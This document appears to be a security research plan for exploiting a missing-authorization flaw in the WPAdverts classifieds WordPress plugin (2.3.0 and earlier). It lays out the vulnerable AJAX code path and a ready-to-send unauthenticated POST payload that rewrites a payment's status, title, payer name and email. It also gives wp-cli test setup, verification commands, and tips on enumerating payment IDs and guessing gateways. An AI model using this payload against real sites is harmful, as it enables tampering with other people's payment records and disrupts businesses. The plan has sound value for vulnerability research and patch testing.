WPAdverts – Classifieds Plugin <= 2.3.0 - Missing Authorization

This research plan outlines the steps to exploit a Missing Authorization vulnerability in the WPAdverts plugin.

1. Vulnerability Summary

The WPAdverts – Classifieds Plugin (versions <= 2.3.0) contains a missing authorization check in the adext_payments_ajax_render function. This function is registered as an AJAX action for both authenticated and unauthenticated users via wp_ajax_adext_payments_render and wp_ajax_nopriv_adext_payments_render.

Because the function fails to verify if the requester has permission to modify the specified payment_id (Insecure Direct Object Reference - IDOR) and lacks capability checks, an unauthenticated attacker can update existing payment records. Specifically, an attacker can change the post_status of a payment to pending, update the post_title, and modify sensitive metadata including the payer's name (adverts_person) and email (adverts_email).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: adext_payments_render
• Authentication: None (unauthenticated)
• Vulnerable Parameter: payment_id
• Payload Parameters:
  • gateway: The name of an active payment gateway (e.g., bank).
  • form: An array of serialized form data containing adverts_person and adverts_email.
• Preconditions:
  • The "Payments" module must be enabled (default in many configurations).
  • An existing adverts-payment post ID must be known or enumerated.

3. Code Flow

1. Entry Point: addons/payments/includes/ajax.php registers the hooks:

   add_action('wp_ajax_nopriv_adext_payments_render', 'adext_payments_ajax_render');
   

2. Sink: adext_payments_ajax_render() is called.
3. Input Handling: The function retrieves payment_id and gateway from the request.

   $gateway_name = adverts_request('gateway');
   $payment_id = absint( adverts_request( "payment_id" ) );
   

4. Processing: It loads a form based on the gateway and binds the user-provided form data.
5. Vulnerable Sink: If the form validates (usually requires just a name and email), it calls wp_update_post and update_post_meta on the provided payment_id without any ownership or capability checks:

   wp_update_post( array(
       'ID' => $payment_id,
       'post_title' => $form->get_value( "adverts_person" ),
       'post_status' => 'pending'
   ) );
   update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') );
   update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') );
   

4. Nonce Acquisition Strategy

No nonce is required.
Analysis of addons/payments/includes/ajax.php confirms that neither check_ajax_referer nor wp_verify_nonce are used within the adext_payments_ajax_render function. Furthermore, the frontend JS (addons/payments/assets/js/payments.js) does not include a nonce in the data object sent to the server.

5. Exploitation Strategy

1. Target Identification: Identify a valid payment_id of type adverts-payment. This can be done via enumeration or if the attacker previously initiated a legitimate payment.
2. Determine Gateway: Use bank as the default gateway, as it is the most common built-in gateway for WPAdverts.
3. Craft Payload:
   • action: adext_payments_render
   • gateway: bank
   • payment_id: [TARGET_ID]
   • form[0][name]: adverts_person
   • form[0][value]: Unauthorized Modifier
   • form[1][name]: adverts_email
   • form[1][value]: pwned@example.com
4. Execution: Send a POST request to admin-ajax.php.

6. Test Data Setup

1. Activate WPAdverts: Ensure the plugin and its Payments module are active.
2. Create Pricing:

   wp post create --post_type=adverts-pricing --post_title="Premium" --post_status=publish
   

3. Create a "Completed" Payment: Create a payment record that we will "downgrade" to pending and modify.

   PAYMENT_ID=$(wp post create --post_type=adverts-payment --post_title="Original Payer" --post_status=completed --porcelain)
   wp post meta add $PAYMENT_ID adverts_person "Original Payer"
   wp post meta add $PAYMENT_ID adverts_email "original@example.com"
   wp post meta add $PAYMENT_ID _adverts_payment_gateway "bank"
   

7. Expected Results

• The AJAX response should return a JSON object. If successful, it might execute a "success" callback or render HTML depending on the gateway's response.
• The adverts-payment post with ID = PAYMENT_ID will have its:
  • post_status changed from completed to pending.
  • post_title changed to Unauthorized Modifier.
  • Meta adverts_person changed to Unauthorized Modifier.
  • Meta adverts_email changed to pwned@example.com.

8. Verification Steps

1. Check Post Status and Title:

   wp post get [PAYMENT_ID] --fields=ID,post_title,post_status
   

2. Check Metadata:

   wp post meta get [PAYMENT_ID] adverts_person
   wp post meta get [PAYMENT_ID] adverts_email
   

9. Alternative Approaches

• Status Reset: If the gateway callback (render) behaves differently, the primary impact is the wp_update_post call which forces the status to pending. This can be used to disrupt business logic where "completed" payments are expected.
• Gateway Enumeration: If the bank gateway is disabled, an attacker can guess other common gateways like paypal or stripe to satisfy the $gateway lookup.
• Information Leakage: Note that if the form validation fails, the function returns $html_form, which might contain rendered form templates, potentially leaking configuration details or available fields.